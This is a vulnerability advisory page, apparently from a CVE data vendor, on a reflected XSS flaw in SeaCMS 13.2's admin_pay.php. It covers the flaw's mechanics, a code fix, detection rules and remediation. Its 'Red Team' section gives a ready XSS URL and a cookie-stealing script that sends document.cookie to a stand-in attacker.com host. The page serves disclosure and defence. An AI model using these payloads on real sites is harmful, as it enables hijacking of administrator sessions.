CVE-2025-4257
Executive Summary
CVE-2025-4257 is a publicly disclosed, unauthenticated reflected Cross-Site Scripting (XSS) vulnerability in SeaCMS version 13.2. The flaw resides in the /admin_pay.php file, where the cstatus parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the admin panel. This can lead to session hijacking, credential theft, or further compromise of the CMS backend. No official patch has been released, and the exploit is publicly available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct web application vulnerability in the SeaCMS PHP application.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) - The victim must click the malicious link.
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) - Potential access to admin session data.
- Integrity Impact: Low (I:L) - Ability to modify admin panel content or perform actions on behalf of the admin.
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the public availability of the exploit and the lack of a patch increase the risk for unpatched SeaCMS installations.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the SeaCMS admin panel. The /admin_pay.php script processes the cstatus GET parameter and reflects its value directly into the HTML response without proper encoding or sanitization.
Attack Flow:
- An attacker identifies a SeaCMS 13.2 instance.
- The attacker crafts a URL like:
http://target.com/admin_pay.php?cstatus=<script>alert('XSS')</script> - The attacker sends this URL to an authenticated admin (via email, social engineering, etc.).
- The admin clicks the link while logged into the SeaCMS admin panel.
- The server processes the request and returns a page containing the injected script.
- The victim's browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the admin panel.
The root cause is the lack of output encoding. The cstatus parameter is likely echoed directly into the page using PHP's echo or print without htmlspecialchars() or similar sanitization.
Vulnerable vs. Patched Code
Vulnerable Code (SeaCMS 13.2 - /admin_pay.php):
<?php
// ... other code ...
$cstatus = $_GET['cstatus'];
echo "<div class='status'>Status: $cstatus</div>";
// ... other code ...
?>
Patched Code (Hypothetical):
<?php
// ... other code ...
$cstatus = htmlspecialchars($_GET['cstatus'], ENT_QUOTES, 'UTF-8');
echo "<div class='status'>Status: $cstatus</div>";
// ... other code ...
?>
The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A running SeaCMS 13.2 instance (e.g., in a Docker container or local VM).
- A web browser with developer tools.
- A simple HTTP server to capture cookies (optional).
Exploit Steps:
- Identify Target: Find a SeaCMS 13.2 admin panel URL.
- Craft Payload: Use a simple XSS payload to test:
<script>alert('XSS')</script> - Construct Malicious URL:
http://target.com/admin_pay.php?cstatus=<script>alert('XSS')</script> - Deliver to Admin: Send the URL to an authenticated admin.
- Execute: When the admin clicks the link, the script executes.
Advanced Payload (Cookie Stealing):
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
Replace attacker.com with your controlled server.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
/admin_pay.phpwith suspiciouscstatusparameters containing<script>,onerror=, or other HTML/JavaScript patterns. - Use a Web Application Firewall (WAF) to block requests with XSS patterns in the
cstatusparameter.
Mitigation:
- Apply input validation and output encoding to the
cstatusparameter. - Implement Content Security Policy (CSP) headers to restrict script execution.
- Restrict access to the admin panel via IP whitelisting or VPN.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/admin_pay.phpwithcstatusparameter containing<script>,%3Cscript%3E, or other HTML-encoded script tags. - Outbound connections from the SeaCMS server to unknown IPs on port 80/443 (potential cookie exfiltration).
- HTTP requests to
- Host:
- Unusual entries in web server access logs (e.g.,
GET /admin_pay.php?cstatus=<script>...). - Modified admin panel pages or unexpected JavaScript files.
- Unusual entries in web server access logs (e.g.,
- File:
- Suspicious files in the SeaCMS
data/oruploads/directory (if the XSS is used to upload a webshell).
- Suspicious files in the SeaCMS
Detection Engineering
YARA Rule
rule CVE_2025_4257_SeaCMS_XSS {
meta:
description = "Detects SeaCMS admin_pay.php XSS payload in HTTP requests"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-4257"
strings:
$xss_payload = /cstatus=.*(<script|%3Cscript|onerror=|onload=)/i
condition:
$xss_payload
}
Sigma Rule
title: SeaCMS admin_pay.php Reflected XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-4257 in SeaCMS
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/admin_pay.php'
cs-uri-query|contains|all:
- 'cstatus='
- '<script'
condition: selection
falsepositives:
- Legitimate admin testing
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-4257 SeaCMS admin_pay.php XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin_pay.php"; http_uri; content:"cstatus="; http_uri; pcre:"/cstatus=.*(<script|%3Cscript|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Admin Panel Access: If possible, restrict access to
/admin_pay.phpvia.htaccessor firewall rules to trusted IPs only. - Apply Virtual Patching: Use a WAF to block requests containing XSS patterns in the
cstatusparameter. - Monitor Logs: Actively monitor web server logs for exploitation attempts.
Long-Term Fix:
- Patch the Code: Manually edit
/admin_pay.phpto sanitize thecstatusparameter usinghtmlspecialchars()or a similar function. - Upgrade: Check for an official patch from SeaCMS. If none is available, consider migrating to a different CMS.
- Security Hardening: Implement a Content Security Policy (CSP) and enable HTTP-only cookies to mitigate the impact of XSS.
Valters IT